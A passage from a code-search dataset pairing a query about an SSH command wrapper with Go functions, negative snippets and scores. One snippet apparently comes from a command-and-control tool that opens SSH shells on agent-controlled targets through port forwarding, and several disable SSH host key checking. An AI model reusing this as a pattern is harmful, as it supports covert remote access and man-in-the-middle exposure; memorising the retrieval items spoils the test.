context.WithCancel(context.Background())\\n\\t\\tpf.Lport, pf.To = lport, to\\n\\t\\tgo func() {\\n\\t\\t\\terr = pf.RunPortFwd()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\terr = fmt.Errorf(\\\"PortFwd failed: %v\\\", err)\\n\\t\\t\\t\\tCliPrintError(\\\"Start port mapping for sshd: %v\\\", err)\\n\\t\\t\\t}\\n\\t\\t}()\\n\\t\\tCliPrintInfo(\\\"Waiting for response from %s\\\", CurrentTarget.Tag)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\t// wait until the port mapping is ready\\n\\texists = false\\nwait:\\n\\tfor i := 0; i < 100; i++ {\\n\\t\\tif exists {\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\ttime.Sleep(100 * time.Millisecond)\\n\\t\\tfor _, p := range PortFwds {\\n\\t\\t\\tif p.Agent == CurrentTarget && p.To == to {\\n\\t\\t\\t\\texists = true\\n\\t\\t\\t\\tbreak wait\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\tif !exists {\\n\\t\\terr = errors.New(\\\"Port mapping unsuccessful\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// let's do the ssh\\n\\tsshPath, err := exec.LookPath(\\\"ssh\\\")\\n\\tif err != nil {\\n\\t\\tCliPrintError(\\\"ssh not found, please install it first: %v\\\", err)\\n\\t}\\n\\tsshCmd := fmt.Sprintf(\\\"%s -p %s -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no 127.0.0.1\\\",\\n\\t\\tsshPath, lport)\\n\\tCliPrintSuccess(\\\"Opening SSH session for %s in new window. \\\"+\\n\\t\\t\\\"If that fails, please execute command %s manaully\\\",\\n\\t\\tCurrentTarget.Tag, strconv.Quote(sshCmd))\\n\\n\\t// agent name\\n\\tname := CurrentTarget.Hostname\\n\\tlabel := Targets[CurrentTarget].Label\\n\\tif label != \\\"nolabel\\\" && label != \\\"-\\\" {\\n\\t\\tname = label\\n\\t}\\n\\treturn TmuxNewWindow(fmt.Sprintf(\\\"%s-%s\\\", name, shell), sshCmd)\\n}\",\n \"func CompsCommand(runtime *program.SubRuntime) (retval int, err string) {\\n\\targv := runtime.Argv\\n\\n\\t// parse the repo uri\\n\\turi, e := repos.NewRepoURI(argv[0])\\n\\tif e != nil {\\n\\t\\terr = constants.StringUnparsedRepoName\\n\\t\\tretval = constants.ErrorInvalidRepo\\n\\t\\treturn\\n\\t}\\n\\n\\t// print each component on one line\\n\\tfor _, comp := range uri.Components() {\\n\\t\\tfmt.Println(comp)\\n\\t}\\n\\n\\t// and finish\\n\\treturn\\n}\",\n \"func (m *Monocular) Connect(ec echo.Context, cnsiRecord interfaces.CNSIRecord, userId string) (*interfaces.TokenRecord, bool, error) {\\n\\t// Note: Helm Repositories don't support connecting\\n\\treturn nil, false, errors.New(\\\"Connecting not support for a Helm Repository\\\")\\n}\",\n \"func ConnectWithPasswordTimeout(host, username, pass string, timeout time.Duration) (*Client, error) {\\n\\tauthMethod := ssh.Password(pass)\\n\\n\\treturn connect(username, host, authMethod, timeout)\\n}\",\n \"func (s *Session) SendCommand(command string) {\\n\\t_, _ = fmt.Fprintf(s.socket, \\\"?\\\"+command+\\\";\\\")\\n}\",\n \"func (client *SdnClient) SSHPortForwarding(localPort, targetPort uint16,\\n\\ttargetIP string) (close func(), err error) {\\n\\tfwdArgs := fmt.Sprintf(\\\"%d:%s:%d\\\", localPort, targetIP, targetPort)\\n\\targs := client.sshArgs(\\\"-v\\\", \\\"-T\\\", \\\"-L\\\", fwdArgs, \\\"tail\\\", \\\"-f\\\", \\\"/dev/null\\\")\\n\\tcmd := exec.Command(\\\"ssh\\\", args...)\\n\\tstdout, err := cmd.StdoutPipe()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tcmd.Stderr = cmd.Stdout\\n\\terr = cmd.Start()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\ttunnelReadyCh := make(chan bool, 1)\\n\\tgo func(tunnelReadyCh chan<- bool) {\\n\\t\\tvar listenerReady, fwdReady, sshReady bool\\n\\t\\tfwdMsg := fmt.Sprintf(\\\"Local connections to LOCALHOST:%d \\\" +\\n\\t\\t\\t\\\"forwarded to remote address %s:%d\\\", localPort, targetIP, targetPort)\\n\\t\\tlistenMsg := fmt.Sprintf(\\\"Local forwarding listening on 127.0.0.1 port %d\\\",\\n\\t\\t\\tlocalPort)\\n\\t\\tsshReadyMsg := \\\"Entering interactive session\\\"\\n\\t\\tscanner := bufio.NewScanner(stdout)\\n\\t\\tfor scanner.Scan() {\\n\\t\\t\\tline := scanner.Text()\\n\\t\\t\\tif strings.Contains(line, fwdMsg) {\\n\\t\\t\\t\\tfwdReady = true\\n\\t\\t\\t}\\n\\t\\t\\tif strings.Contains(line, listenMsg) {\\n\\t\\t\\t\\tlistenerReady = true\\n\\t\\t\\t}\\n\\t\\t\\tif strings.Contains(line, sshReadyMsg) {\\n\\t\\t\\t\\tsshReady = true\\n\\t\\t\\t}\\n\\t\\t\\tif listenerReady && fwdReady && sshReady {\\n\\t\\t\\t\\ttunnelReadyCh <- true\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}(tunnelReadyCh)\\n\\tclose = func() {\\n\\t\\terr = cmd.Process.Kill()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Errorf(\\\"failed to kill %s: %v\\\", cmd, err)\\n\\t\\t} else {\\n\\t\\t\\t_ = cmd.Wait()\\n\\t\\t}\\n\\t}\\n\\t// Give tunnel some time to open.\\n\\tselect {\\n\\tcase <-tunnelReadyCh:\\n\\t\\t// Just an extra cushion for the tunnel to establish.\\n\\t\\ttime.Sleep(500 * time.Millisecond)\\n\\t\\treturn close, nil\\n\\tcase <-time.After(30 * time.Second):\\n\\t\\tclose()\\n\\t\\treturn nil, fmt.Errorf(\\\"failed to create SSH tunnel %s in time\\\", fwdArgs)\\n\\t}\\n}\",\n \"func connect() net.Conn {\\n\\t//connection, err := net.Dial(\\\"unix\\\", \\\"/var/www/bot/irc/sock\\\")\\n\\tconnection, err := net.Dial(\\\"tcp\\\", \\\"localhost:8765\\\")\\n\\n\\t//\\tsendCommand(connection, \\\"PASS\\\", password)\\n\\t//\\tsendCommand(connection, \\\"USER\\\", fmt.Sprintf(\\\"%s 8 * :%s\\\\r\\\\n\\\", nickname, nickname))\\n\\t//\\tsendCommand(connection, \\\"NICK\\\", nickname)\\n\\t//\\tfmt.Println(\\\"Registration sent\\\")\\n\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\tjoinChannels(connection)\\n\\n\\treturn connection\\n}\",\n \"func UnixConnect(ctx context.Context, addr string) (net.Conn, error) {\\n\\tunixAddr, _ := net.ResolveUnixAddr(\\\"unix\\\", addr)\\n\\treturn net.DialUnix(\\\"unix\\\", nil, unixAddr)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.71205807","0.70822644","0.6616478","0.63631743","0.62338054","0.60271734","0.599785","0.5916439","0.5910079","0.59050316","0.5863209","0.58507776","0.5780209","0.5776219","0.5747003","0.5737086","0.57239807","0.570501","0.57017505","0.5651364","0.56479377","0.5645506","0.5638218","0.5629928","0.55918175","0.5577394","0.5574351","0.5574044","0.55733746","0.5544855","0.55262053","0.55072826","0.5476375","0.5474562","0.54108834","0.5409964","0.5403214","0.5393784","0.5391801","0.53754526","0.5374289","0.53574663","0.5354238","0.5345676","0.53436244","0.5327651","0.5325387","0.5322082","0.53133875","0.5296998","0.5291017","0.52633727","0.52534515","0.52424926","0.5238666","0.5235406","0.5227045","0.52146655","0.5212293","0.5210653","0.5209722","0.52069795","0.52069795","0.5206752","0.52019095","0.5195919","0.51488864","0.51436096","0.514267","0.5128631","0.51214683","0.51133424","0.50835145","0.50779766","0.50696933","0.50571877","0.5050781","0.50502414","0.5044911","0.5038942","0.5036163","0.50356394","0.5032462","0.5032159","0.5012008","0.4998973","0.4996955","0.49831763","0.4983023","0.4977014","0.4969428","0.49650466","0.49648526","0.49634838","0.49573988","0.49529654","0.49515927","0.49452665","0.49423087","0.49366236"],"string":"[\n \"0.71205807\",\n \"0.70822644\",\n \"0.6616478\",\n \"0.63631743\",\n \"0.62338054\",\n \"0.60271734\",\n \"0.599785\",\n \"0.5916439\",\n \"0.5910079\",\n \"0.59050316\",\n \"0.5863209\",\n \"0.58507776\",\n \"0.5780209\",\n \"0.5776219\",\n \"0.5747003\",\n \"0.5737086\",\n \"0.57239807\",\n \"0.570501\",\n \"0.57017505\",\n \"0.5651364\",\n \"0.56479377\",\n \"0.5645506\",\n \"0.5638218\",\n \"0.5629928\",\n \"0.55918175\",\n \"0.5577394\",\n \"0.5574351\",\n \"0.5574044\",\n \"0.55733746\",\n \"0.5544855\",\n \"0.55262053\",\n \"0.55072826\",\n \"0.5476375\",\n \"0.5474562\",\n \"0.54108834\",\n \"0.5409964\",\n \"0.5403214\",\n \"0.5393784\",\n \"0.5391801\",\n \"0.53754526\",\n \"0.5374289\",\n \"0.53574663\",\n \"0.5354238\",\n \"0.5345676\",\n \"0.53436244\",\n \"0.5327651\",\n \"0.5325387\",\n \"0.5322082\",\n \"0.53133875\",\n \"0.5296998\",\n \"0.5291017\",\n \"0.52633727\",\n \"0.52534515\",\n \"0.52424926\",\n \"0.5238666\",\n \"0.5235406\",\n \"0.5227045\",\n \"0.52146655\",\n \"0.5212293\",\n \"0.5210653\",\n \"0.5209722\",\n \"0.52069795\",\n \"0.52069795\",\n \"0.5206752\",\n \"0.52019095\",\n \"0.5195919\",\n \"0.51488864\",\n \"0.51436096\",\n \"0.514267\",\n \"0.5128631\",\n \"0.51214683\",\n \"0.51133424\",\n \"0.50835145\",\n \"0.50779766\",\n \"0.50696933\",\n \"0.50571877\",\n \"0.5050781\",\n \"0.50502414\",\n \"0.5044911\",\n \"0.5038942\",\n \"0.5036163\",\n \"0.50356394\",\n \"0.5032462\",\n \"0.5032159\",\n \"0.5012008\",\n \"0.4998973\",\n \"0.4996955\",\n \"0.49831763\",\n \"0.4983023\",\n \"0.4977014\",\n \"0.4969428\",\n \"0.49650466\",\n \"0.49648526\",\n \"0.49634838\",\n \"0.49573988\",\n \"0.49529654\",\n \"0.49515927\",\n \"0.49452665\",\n \"0.49423087\",\n \"0.49366236\"\n]"},"document_score":{"kind":"string","value":"0.78404003"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106149,"cells":{"query":{"kind":"string","value":"ConnectCommandOutput Aliases `ssh C command` and return any output stream as a value"},"document":{"kind":"string","value":"func ConnectCommandOutput(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr := utils.CommandSubstitution(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\n\tutils.DebugString(r)\n\n\treturn r\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func ConnectCommand(args []string) string {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tr, err := utils.CommandSubSplitOutput(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tutils.DebugString(r)\n\n\treturn r\n}","func (h *Host) ExecWithOutput(cmd string) (string, error) {\n\tsession, err := h.sshClient.NewSession()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer session.Close()\n\n\toutput, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\treturn \"\", nil\n\t}\n\n\treturn strings.TrimSpace(string(output)), nil\n}","func (r *Remoter) Output(waitCtx context.Context, cmd string) (string, []byte, error) {\n\t// cannot use defer close(r.wait()) , defer may delay called,\n\t// and cause a race condition\n\tclt := r.clt\n\tssn, err := clt.NewSession()\n\tif err != nil {\n\t\treturn cmd, nil, err\n\t}\n\t// stdout stderr all in one\n\t// BUG: there will have a race condition\n\t// sub routine and this routine operate same r.closer\n\tnoNeedWait, waitGrp := r.wait(waitCtx)\n\tb, err := ssn.CombinedOutput(cmd)\n\t// tell sub routine to exit\n\tclose(noNeedWait)\n\t// wait sub routine exit\n\twaitGrp.Wait()\n\t_ = ssn.Close()\n\treturn cmd, b, err\n}","func (client *NativeClient) Output(command string) (string, error) {\n\tsession, err := client.session(command)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\toutput, err := session.CombinedOutput(command)\n\tdefer session.Close()\n\n\treturn string(bytes.TrimSpace(output)), wrapError(err)\n}","func (client *ExternalClient) Output(pty bool, args ...string) (string, error) {\n\targs = append(client.BaseArgs, args...)\n\tcmd := getSSHCmd(client.BinaryPath, pty, args...)\n\t// for pseudo-tty and sudo to work correctly Stdin must be set to os.Stdin\n\tif pty {\n\t\tcmd.Stdin = os.Stdin\n\t}\n\toutput, err := cmd.CombinedOutput()\n\treturn string(output), err\n}","func (c *Cmd) Output() ([]byte, error)","func (a *Agent) connectOutput(ctx context.Context, output *models.RunningOutput) error {\n\tlog.Printf(\"D! [agent] Attempting connection to [%s]\", output.LogName())\n\terr := output.Output.Connect()\n\tif err != nil {\n\t\tlog.Printf(\"E! [agent] Failed to connect to [%s], retrying in 15s, \"+\n\t\t\t\"error was '%s'\", output.LogName(), err)\n\n\t\terr := internal.SleepContext(ctx, 15*time.Second)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = output.Output.Connect()\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"Error connecting to output %q: %w\", output.LogName(), err)\n\t\t}\n\t}\n\tlog.Printf(\"D! [agent] Successfully connected to %s\", output.LogName())\n\treturn nil\n}","func StreamConnectCommand(args []string) {\n\tif len(args) == 0 {\n\t\tlog.Fatal(\"At least one argument must be supplied to use this command\")\n\t}\n\n\tcs := strings.Join(args, \" \")\n\tpn := conf.GetConfig().Tokaido.Project.Name + \".tok\"\n\n\tutils.StreamOSCmd(\"ssh\", []string{\"-q\", \"-o UserKnownHostsFile=/dev/null\", \"-o StrictHostKeyChecking=no\", pn, \"-C\", cs}...)\n}","func ExecCommandOutput(cmd string, args []string) (string, int, error) {\n\tLogDebug.Print(\"ExecCommandOutput called with \", cmd, args)\n\tc := exec.Command(cmd, args...)\n\tvar b bytes.Buffer\n\tc.Stdout = &b\n\tc.Stderr = &b\n\n\tif err := c.Start(); err != nil {\n\t\treturn \"\", 999, err\n\t}\n\n\t//TODO we could set a timeout here if needed\n\n\terr := c.Wait()\n\tout := string(b.Bytes())\n\n\tfor _, line := range strings.Split(out, \"\\n\") {\n\t\tLogDebug.Print(\"out :\", line)\n\t}\n\n\tif err != nil {\n\t\t//check the rc of the exec\n\t\tif badnews, ok := err.(*exec.ExitError); ok {\n\t\t\tif status, ok := badnews.Sys().(syscall.WaitStatus); ok {\n\t\t\t\treturn out, status.ExitStatus(), fmt.Errorf(\"rc=%d\", status.ExitStatus())\n\t\t\t}\n\t\t} else {\n\t\t\treturn out, 888, fmt.Errorf(\"unknown error\")\n\t\t}\n\t}\n\n\treturn out, 0, nil\n}","func (c *SSHCommand) CombinedOutput() ([]byte, error) {\n\tcontent, err := c.cmd.CombinedOutput()\n\tnerr := c.end()\n\tif nerr != nil {\n\t\tlog.Warnf(\"Error waiting for command end: %v\", nerr)\n\t}\n\treturn content, err\n}","func (fs *Fs) ExecCommandOutput(name string, args ...string) ([]byte, error) {\n\treturn exec.Command(name, args...).Output() // #nosec G204\n}","func GetCommandOutput(command string, timeout time.Duration, arg ...string) ([]byte, error) {\n\tvar err error\n\tvar stdOut bytes.Buffer\n\tvar stdErr bytes.Buffer\n\tvar c = make(chan []byte)\n\tcmd := exec.Command(command, arg...)\n\tcmd.Stdout = &stdOut\n\tcmd.Stderr = &stdErr\n\tif err = cmd.Start(); err != nil {\n\t\treturn nil, fmt.Errorf(\"%s %s\", err.Error(), stdErr.String())\n\t}\n\tgo func() {\n\t\terr = cmd.Wait()\n\t\tc <- stdOut.Bytes()\n\t}()\n\ttime.AfterFunc(timeout, func() {\n\t\tcmd.Process.Kill()\n\t\terr = errors.New(\"Maxruntime exceeded\")\n\t\tc <- nil\n\t})\n\tresponse := <-c\n\tif err != nil {\n\t\tfmt.Errorf(\"%s %s\", err.Error(), stdErr.String())\n\t}\n\treturn response, nil\n}","func connect() cli.Command { // nolint: gocyclo\n\tcommand := cli.Command{\n\t\tName: \"connect\",\n\t\tAliases: []string{\"conn\"},\n\t\tUsage: \"Get a shell from a vm\",\n\t\tFlags: []cli.Flag{\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"user\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"ssh login user\",\n\t\t\t},\n\t\t\tcli.StringFlag{\n\t\t\t\tName: \"key\",\n\t\t\t\tValue: \"\",\n\t\t\t\tUsage: \"private key path (default: ~/.ssh/id_rsa)\",\n\t\t\t},\n\t\t},\n\t\tAction: func(c *cli.Context) error {\n\t\t\tvar name, loginUser, key string\n\t\t\tvar vmID int\n\t\t\tnameFound := false\n\t\t\tnargs := c.NArg()\n\t\t\tswitch {\n\t\t\tcase nargs == 1:\n\t\t\t\t// Parse flags\n\t\t\t\tif c.String(\"user\") != \"\" {\n\t\t\t\t\tloginUser = c.String(\"user\")\n\t\t\t\t} else {\n\t\t\t\t\tusr, _ := user.Current()\n\t\t\t\t\tloginUser = usr.Name\n\t\t\t\t}\n\n\t\t\t\tif c.String(\"key\") != \"\" {\n\t\t\t\t\tkey, _ = filepath.Abs(c.String(\"key\"))\n\t\t\t\t} else {\n\t\t\t\t\tusr, err := user.Current()\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Fatal(err)\n\t\t\t\t\t}\n\n\t\t\t\t\tkey = usr.HomeDir + \"/.ssh/id_rsa\"\n\t\t\t\t}\n\t\t\t\tname = c.Args().First()\n\t\t\t\tcli, err := client.NewEnvClient()\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tlistArgs := filters.NewArgs()\n\t\t\t\tlistArgs.Add(\"ancestor\", VMLauncherContainerImage)\n\t\t\t\tcontainers, err := cli.ContainerList(context.Background(),\n\t\t\t\t\ttypes.ContainerListOptions{\n\t\t\t\t\t\tQuiet: false,\n\t\t\t\t\t\tSize: false,\n\t\t\t\t\t\tAll: true,\n\t\t\t\t\t\tLatest: false,\n\t\t\t\t\t\tSince: \"\",\n\t\t\t\t\t\tBefore: \"\",\n\t\t\t\t\t\tLimit: 0,\n\t\t\t\t\t\tFilters: listArgs,\n\t\t\t\t\t})\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t\tfor id, container := range containers {\n\t\t\t\t\tif container.Names[0][1:] == name {\n\t\t\t\t\t\tnameFound = true\n\t\t\t\t\t\tvmID = id\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif !nameFound {\n\t\t\t\t\tfmt.Printf(\"Unable to find a running vm with name: %s\", name)\n\t\t\t\t\tos.Exit(1)\n\t\t\t\t} else {\n\t\t\t\t\tvmIP := containers[vmID].NetworkSettings.Networks[\"bridge\"].IPAddress\n\t\t\t\t\tgetNewSSHConn(loginUser, vmIP, key)\n\t\t\t\t}\n\n\t\t\tcase nargs == 0:\n\t\t\t\tfmt.Println(\"No name provided as argument.\")\n\t\t\t\tos.Exit(1)\n\n\t\t\tcase nargs > 1:\n\t\t\t\tfmt.Println(\"Only one argument is allowed\")\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\treturn command\n}","func (c *Cmd) CombinedOutput() ([]byte, error)","func (client *NativeClient) OutputWithPty(command string) (string, error) {\n\tsession, err := client.session(command)\n\tif err != nil {\n\t\treturn \"\", nil\n\t}\n\n\tfd := int(os.Stdin.Fd())\n\n\ttermWidth, termHeight, err := terminal.GetSize(fd)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0,\n\t\tssh.TTY_OP_ISPEED: 14400,\n\t\tssh.TTY_OP_OSPEED: 14400,\n\t}\n\n\t// request tty -- fixes error with hosts that use\n\t// \"Defaults requiretty\" in /etc/sudoers - I'm looking at you RedHat\n\tif err := session.RequestPty(\"xterm\", termHeight, termWidth, modes); err != nil {\n\t\treturn \"\", err\n\t}\n\n\toutput, err := session.CombinedOutput(command)\n\tdefer session.Close()\n\n\treturn string(bytes.TrimSpace(output)), wrapError(err)\n}","func executeCmd(remote_host string) string {\n\treadConfig(\"config\")\n\t//\tconfig, err := sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t//\tif err != nil {\n\t//\t\tlog.Fatal(err)\n\t//\t}\n\tvar config *ssh.ClientConfig\n\n\tif Conf.Method == \"password\" {\n\t\tconfig = sshAuthPassword(Conf.SshUser, Conf.SshPassword)\n\t} else if Conf.Method == \"key\" {\n\t\tconfig = sshAuthKey(Conf.SshUser, Conf.SshKeyPath, Conf.Passphrase)\n\t\t//\t\tif err != nil {\n\t\t//\t\t\tlog.Fatal(err)\n\t\t//\t\t}\n\t} else {\n\t\tlog.Fatal(`Please set method \"password\" or \"key\" at configuration file`)\n\t}\n\n\tclient, err := ssh.Dial(\"tcp\", remote_host+\":\"+Conf.SshPort, config)\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to dial: \", err)\n\t}\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to create session: \", err)\n\t}\n\tdefer session.Close()\n\n\tvar b bytes.Buffer\n\tsession.Stdout = &b\n\tif err := session.Run(Conf.Command); err != nil {\n\t\tlog.Fatal(\"Failed to run: \" + err.Error())\n\t}\n\tfmt.Println(\"\\x1b[31;1m\" + remote_host + \"\\x1b[0m\")\n\treturn b.String()\n}","func (self *Client) RunCommand(cmd *Command) (string, []error) {\n var (\n output string\n errs []error\n )\n\n //- Compile our \"Valid\" and \"Error\" REGEX patterns, if not done already.\n // This will allow us to reuse it with compiling it every time.\n cmd.CompileCmdRegex()\n\n\tcmd.LogCommandConfig() //- DEBUG\n\n //- \"Write\" the command to the remote SSH session.\n self.StdinPipe.Write([]byte(cmd.Exec))\n\n //- Loop until we've gotten all output from the remote SSH Session.\n done := false\n lastError := \"\"\n for done != true {\n b, _ := self.StdoutPipe.ReadByte()\n output = output + string(b)\n\n //- Check for errors, if we have any ErrorPatterns to test.\n if len(cmd.ErrorPatterns) > 0 {\n if matchedError, errDesc := testRegex(output, cmd.ErrorRegex); matchedError == true {\n if lastError != errDesc {\n errs = append(errs, fmt.Errorf(\"Matched error pattern: %s\", errDesc))\n lastError = errDesc\n }\n }\n }\n\n //- Check for Valid output. Continue retrieving bytes until we see a\n // \"valid\" pattern.\n if done, _ = testRegex(output, cmd.ValidRegex); done == true {\n //- Make sure there isn't any more left to read.\n//\t\t\ttime.Sleep(time.Second)\n if buff := self.StdoutPipe.Buffered(); buff != 0 {\n done = false\n }\n }\n }\n\n return output, errs\n}","func (this Scanner) executeCommand(cmd string, session *ssh.Session) (string, error) {\n\t//Runs CombinedOutput, which takes cmd and returns stderr and stdout of the command\n\tout, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Convert our output to a string\n\ttmpOut := string(out)\n\ttmpOut = strings.Replace(tmpOut, \"\\n\", \"
\", -1)\n\n\t// Return a string version of our result\n\treturn tmpOut, nil\n}","func TestSessionCombinedOutput(t *testing.T) {\n\tconn := dial(fixedOutputHandler, t)\n\tdefer conn.Close()\n\tsession, err := conn.NewSession()\n\tif err != nil {\n\t\tt.Fatalf(\"Unable to request new session: %v\", err)\n\t}\n\tdefer session.Close()\n\n\tbuf, err := session.CombinedOutput(\"\") // cmd is ignored by fixedOutputHandler\n\tif err != nil {\n\t\tt.Error(\"Remote command did not exit cleanly:\", err)\n\t}\n\tconst stdout = \"this-is-stdout.\"\n\tconst stderr = \"this-is-stderr.\"\n\tg := string(buf)\n\tif g != stdout+stderr && g != stderr+stdout {\n\t\tt.Error(\"Remote command did not return expected string:\")\n\t\tt.Logf(\"want %q, or %q\", stdout+stderr, stderr+stdout)\n\t\tt.Logf(\"got %q\", g)\n\t}\n}","func (ctsssto ConnectToSourceSQLServerTaskOutput) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn &ctsssto, true\n}","func (ctssstoll ConnectToSourceSQLServerTaskOutputLoginLevel) AsConnectToSourceSQLServerTaskOutput() (*ConnectToSourceSQLServerTaskOutput, bool) {\n\treturn nil, false\n}","func (t *TestCluster) SSH(m platform.Machine, cmd string) ([]byte, error) {\n\tvar stdout, stderr []byte\n\tvar err error\n\tf := func() {\n\t\tstdout, stderr, err = m.SSH(cmd)\n\t}\n\n\terrMsg := fmt.Sprintf(\"ssh: %s\", cmd)\n\t// If f does not before the test timeout, the RunWithExecTimeoutCheck\n\t// will end this goroutine and mark the test as failed\n\tt.H.RunWithExecTimeoutCheck(f, errMsg)\n\tif len(stderr) > 0 {\n\t\tfor _, line := range strings.Split(string(stderr), \"\\n\") {\n\t\t\tt.Log(line)\n\t\t}\n\t}\n\treturn stdout, err\n}","func Test_SSH(t *testing.T) {\n\tvar cipherList []string\n\tsession, err := connect(username, password, ip, key, port, cipherList, nil)\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tdefer session.Close()\n\n\tcmdlist := strings.Split(cmd, \";\")\n\tstdinBuf, err := session.StdinPipe()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\n\tvar outbt, errbt bytes.Buffer\n\tsession.Stdout = &outbt\n\n\tsession.Stderr = &errbt\n\terr = session.Shell()\n\tif err != nil {\n\t\tt.Error(err)\n\t\treturn\n\t}\n\tfor _, c := range cmdlist {\n\t\tc = c + \"\\n\"\n\t\tstdinBuf.Write([]byte(c))\n\n\t}\n\tsession.Wait()\n\tt.Log((outbt.String() + errbt.String()))\n\treturn\n}","func (res *ExecResult) stdout() string {\n\treturn res.outBuffer.String()\n}","func (v *vcsCmd) runOutput(dir string, cmd string, keyval ...string) ([]byte, error) {\n\treturn v.run1(dir, cmd, keyval, true)\n}","func (sc *SSHClient) Command(cmd string) (io.Reader, error) {\n\tfmt.Println(cmd)\n\tsession, err := sc.client.NewSession()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer session.Close()\n\tout, err := session.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tbuf := &bytes.Buffer{}\n\twriter := io.MultiWriter(os.Stdout, buf)\n\tgo io.Copy(writer, out)\n\touterr, err := session.StderrPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tgo io.Copy(os.Stderr, outerr)\n\terr = session.Run(cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn buf, nil\n}","func (ins *EC2RemoteClient) RunCommandWithOutput(cmd string) (exitStatus int, stdoutBuf bytes.Buffer, stderrBuf bytes.Buffer, err error) {\n\texitStatus, stdoutBuf, stderrBuf, err = ins.cmdClient.RunCommandWithOutput(cmd)\n\treturn exitStatus, stdoutBuf, stderrBuf, err\n}","func (e *SSHExecutor) Execute(cmd string, sudo bool, timeout ...time.Duration) ([]byte, []byte, error) {\n\t// try to acquire root permission\n\tif e.Sudo || sudo {\n\t\tcmd = fmt.Sprintf(\"sudo -H -u root bash -c \\\"%s\\\"\", cmd)\n\t}\n\n\t// set a basic PATH in case it's empty on login\n\tcmd = fmt.Sprintf(\"PATH=$PATH:/usr/bin:/usr/sbin %s\", cmd)\n\n\tif e.Locale != \"\" {\n\t\tcmd = fmt.Sprintf(\"export LANG=%s; %s\", e.Locale, cmd)\n\t}\n\n\t// run command on remote host\n\t// default timeout is 60s in easyssh-proxy\n\tif len(timeout) == 0 {\n\t\ttimeout = append(timeout, executeDefaultTimeout)\n\t}\n\n\tstdout, stderr, done, err := e.Config.Run(cmd, timeout...)\n\n\tzap.L().Info(\"SSHCommand\",\n\t\tzap.String(\"host\", e.Config.Server),\n\t\tzap.String(\"port\", e.Config.Port),\n\t\tzap.String(\"cmd\", cmd),\n\t\tzap.Error(err),\n\t\tzap.String(\"stdout\", stdout),\n\t\tzap.String(\"stderr\", stderr))\n\n\tif err != nil {\n\t\tbaseErr := ErrSSHExecuteFailed.\n\t\t\tWrap(err, \"Failed to execute command over SSH for '%s@%s:%s'\", e.Config.User, e.Config.Server, e.Config.Port).\n\t\t\tWithProperty(ErrPropSSHCommand, cmd).\n\t\t\tWithProperty(ErrPropSSHStdout, stdout).\n\t\t\tWithProperty(ErrPropSSHStderr, stderr)\n\t\tif len(stdout) > 0 || len(stderr) > 0 {\n\t\t\toutput := strings.TrimSpace(strings.Join([]string{stdout, stderr}, \"\\n\"))\n\t\t\tbaseErr = baseErr.\n\t\t\t\tWithProperty(cliutil.SuggestionFromFormat(\"Command output on remote host %s:\\n%s\\n\",\n\t\t\t\t\te.Config.Server,\n\t\t\t\t\tcolor.YellowString(output)))\n\t\t}\n\t\treturn []byte(stdout), []byte(stderr), 